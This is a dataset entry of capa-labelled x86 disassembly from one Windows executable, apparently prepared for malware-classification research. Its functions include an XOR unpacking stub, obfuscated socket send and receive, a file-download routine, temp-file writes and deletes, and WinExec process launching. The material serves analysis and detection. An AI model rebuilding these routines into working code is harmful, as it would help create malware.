joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e30
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x401f53
test esi, esi
je 0x401f53
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401e60
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x401f55
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409990
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401ecf
cmp dword [0x41af08], 3
jne 0x401ecf
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4189a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405f45
add esp, 0xc
jmp 0x401ee1
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405f45
push 0x4189a4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.0040613c
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x401f53
push eax
push 1
push 0x200
push edi
call fcn.0040640e
push dword [ebp - 0x210]
call fcn.00406526
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405da4
mov esp, ebp
pop ebp
ret

Function at 0x402010
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x402030
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x402030
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00409990
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x4020e5
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00405f45
push 0x4189c4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.0040613c
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x4020d1
push eax
push 1
push 0x200
push esi
call fcn.004066f4
push dword [ebp - 0x214]
call fcn.00406526
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x402990
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00409990
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00409990
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00401f70
test eax, eax
je 0x402ac2
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x418890]
mov word [ecx + 0x41c018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4029f0
xor ecx, ecx
jmp 0x402a10
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41c120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402a10
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41c0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402a30
cmp dword [0x41af08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41c098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41c010], ax
lea eax, [ebp - 0x210]
mov dword [0x41c00c], 5
push eax
je 0x402a7f
push 1
jmp 0x402a81
push 0
call fcn.00403580
add esp, 8
lea eax, [ebp - 0x210]
push str.golfset.ini
push 0x104
push eax
call fcn.00405f45
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00405da4
mov esp, ebp
pop ebp
ret

Function at 0x402b40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
xor ecx, ecx
mov word [ebp - 0x12c], cx
push 0x11c
push 0
lea edx, [ebp - 0x120]
push edx
call fcn.00409990
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402c20
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov ax, word [ebp - 0xc]
mov word [ebp - 0x12c], ax
cmp dword [ebp - 0x128], 5
jne 0x402bf1
cmp dword [ebp - 0x124], 2
jae 0x402be8
cmp dword [ebp - 0x124], 1
jne 0x402bf1
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 0x128], 6
jne 0x402c20
cmp dword [ebp - 0x124], 0
jne 0x402c0e
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x402c20
cmp dword [ebp - 0x124], 1
jne 0x402c20
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x402c30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409990
add esp, 0xc
cmp dword [0x41af08], 3
jne 0x402c98
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418a24
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405f45
add esp, 0xc
jmp 0x402caa
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0x418a28
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret

Function at 0x402fb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409990
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x20c]
sub ecx, 0x41
mov dword [ebp - 0x218], ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x218]
push eax
call fcn.00403280
add esp, 8
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.004033f0
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x403063
xor eax, eax
jmp 0x403076
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x214]
push eax
call fcn.00402dc0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret

Function at 0x4031e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x40321d
jmp 0x40326e
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
push 0
push 0x200
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040dc10
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x403580
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x40359a
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4035bf
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418aac
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.00405f45
add esp, 0xc
pop ebp
ret

Function at 0x4035d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x418ab0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.0040613c
add esp, 0xc
test eax, eax
je 0x40360e
xor eax, eax
jmp 0x4036ef
mov dword [ebp - 0x10], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00406f10
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.004072e8
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00406f10
add esp, 0xc
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
push edx
call fcn.00406db7
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040640e
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00406526
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
push edx
call fcn.00403700
add esp, 8
push 0x418ab8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.0040613c
add esp, 0xc
test eax, eax
je 0x4036a8
xor eax, eax
jmp 0x4036ef
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004066f4
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00406526
add esp, 4
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x4036ec
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00406e49
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x404ff0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x40502b
jmp 0x4050f0
mov dword [ebp - 8], 0
jmp 0x40503d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0x10]
jge 0x40505a
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x405034
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.004074d7
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 4]
mov word [eax], dx
mov ecx, 1
shl ecx, 1
add ecx, dword [ebp - 4]
mov edx, dword [str.AS101]
mov dword [ecx], edx
mov al, byte [0x41af14]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, 1
imul eax, eax, 7
add eax, dword [ebp - 4]
push eax
call fcn.0040a5f0
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4050e5
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
je 0x4050e9
jmp 0x4050f0
mov dword [ebp - 0x14], 1
cmp dword [ebp - 4], 0
je 0x405124
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.004078cb
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x405117
mov dword [ebp - 0x1c], 0
jmp 0x405124
mov dword [ebp - 4], 0x8123
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x405be0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0040cb90
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x100c], 0
mov dword [ebp - 0x1010], 0
push 0x418b68
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x100c]
push ecx
call fcn.0040613c
add esp, 0xc
cmp dword [ebp - 0x100c], 0
jne 0x405c33
xor eax, eax
jmp 0x405ce8
push 0
push 4
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x405c56
xor eax, eax
jmp 0x405ce8
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0x405cc2
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1014], eax
cmp dword [ebp - 0x1014], 0
jne 0x405c8f
jmp 0x405cc2
mov eax, dword [ebp - 0x100c]
push eax
mov ecx, dword [ebp - 0x1014]
push ecx
push 1
lea edx, [ebp - 0x1004]
push edx
call fcn.004066f4
add esp, 0x10
mov eax, dword [ebp - 0x1010]
add eax, dword [ebp - 0x1014]
mov dword [ebp - 0x1010], eax
jmp 0x405c56
mov ecx, dword [ebp - 0x100c]
push ecx
call fcn.00406526
add esp, 4
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x1008]
jae 0x405ce3
xor eax, eax
jmp 0x405ce8
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x410829
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00407c6a
mov dword [ebp - 0x14], eax
cmp dword [0x41bd84], edi
jne 0x41091a
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4108a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4109fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4109fa
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4109fa
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41bd84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41bd88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41bd8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd94], eax
test eax, eax
je 0x410917
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41093f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410932
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x410954
push 4
pop eax
jmp 0x4109fc
cmp dword [ebp - 0x14], edi
je 0x410954
push dword [0x41bd84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x410939
mov eax, dword [0x41bd90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4109b2
cmp dword [0x41bd94], esi
je 0x4109b2
push eax
call ebx
push dword [0x41bd94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4109b2
test eax, eax
je 0x4109b2
call ecx
test eax, eax
je 0x4109a7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4109a7
test byte [ebp - 8], 1
jne 0x4109b2
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4109e2
mov eax, dword [0x41bd88]
cmp eax, esi
je 0x4109df
push eax
call ebx
test eax, eax
je 0x4109df
call eax
mov edi, eax
test edi, edi
je 0x4109df
mov eax, dword [0x41bd8c]
cmp eax, esi
je 0x4109df
push eax
call ebx
test eax, eax
je 0x4109df
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41bd84]
call ebx
test eax, eax
je 0x4109fa
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4109fc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405da4
leave
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x31ba3c5b
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x32321f1a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x415910
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x470a7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00465756
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415992
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046366d
mov eax, dword [eax]
push 0x4861f0
push eax
call fcn.004564f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004659e1
test bl, bl
je 0x415992
push 0x4861f0
lea ecx, [esp + 0xc]
call fcn.00465d71
push 0x489d4c
lea ecx, [esp + 0xc]
call fcn.00465d71
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4159ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004659e1
jmp 0x415a99
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415a52
lea edx, [esp + 0x7c]
push 0x489d48
push edx
call fcn.004564f4
add esp, 8
test eax, eax
je 0x415a52
lea eax, [esp + 0x7c]
push 0x489d44
push eax
call fcn.004564f4
add esp, 8
test eax, eax
je 0x415a52
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4159e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004659e1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416290
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4162f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x416300
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x470afb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x490260]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416438
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416366
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004659e1
xor eax, eax
jmp 0x4164af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00465b1e
push esi
lea ecx, [esp + 0xc]
call fcn.00465dad
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41648d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00416290
test eax, eax
jne 0x41648d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00416290
test eax, eax
jne 0x41648d
lea eax, [esp + 0x14]
push 0x489d60
push eax
call fcn.00457530
mov esi, eax
add esp, 8
test esi, esi
jne 0x41646c
lea ecx, [esp + 0x14]
push 0x489d5c
push ecx
call fcn.004574b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41646c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41646f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00465ace
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41637e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004659e1
xor eax, eax
jmp 0x4164af
mov byte [esi], 0
push 0x489d58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004659e1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4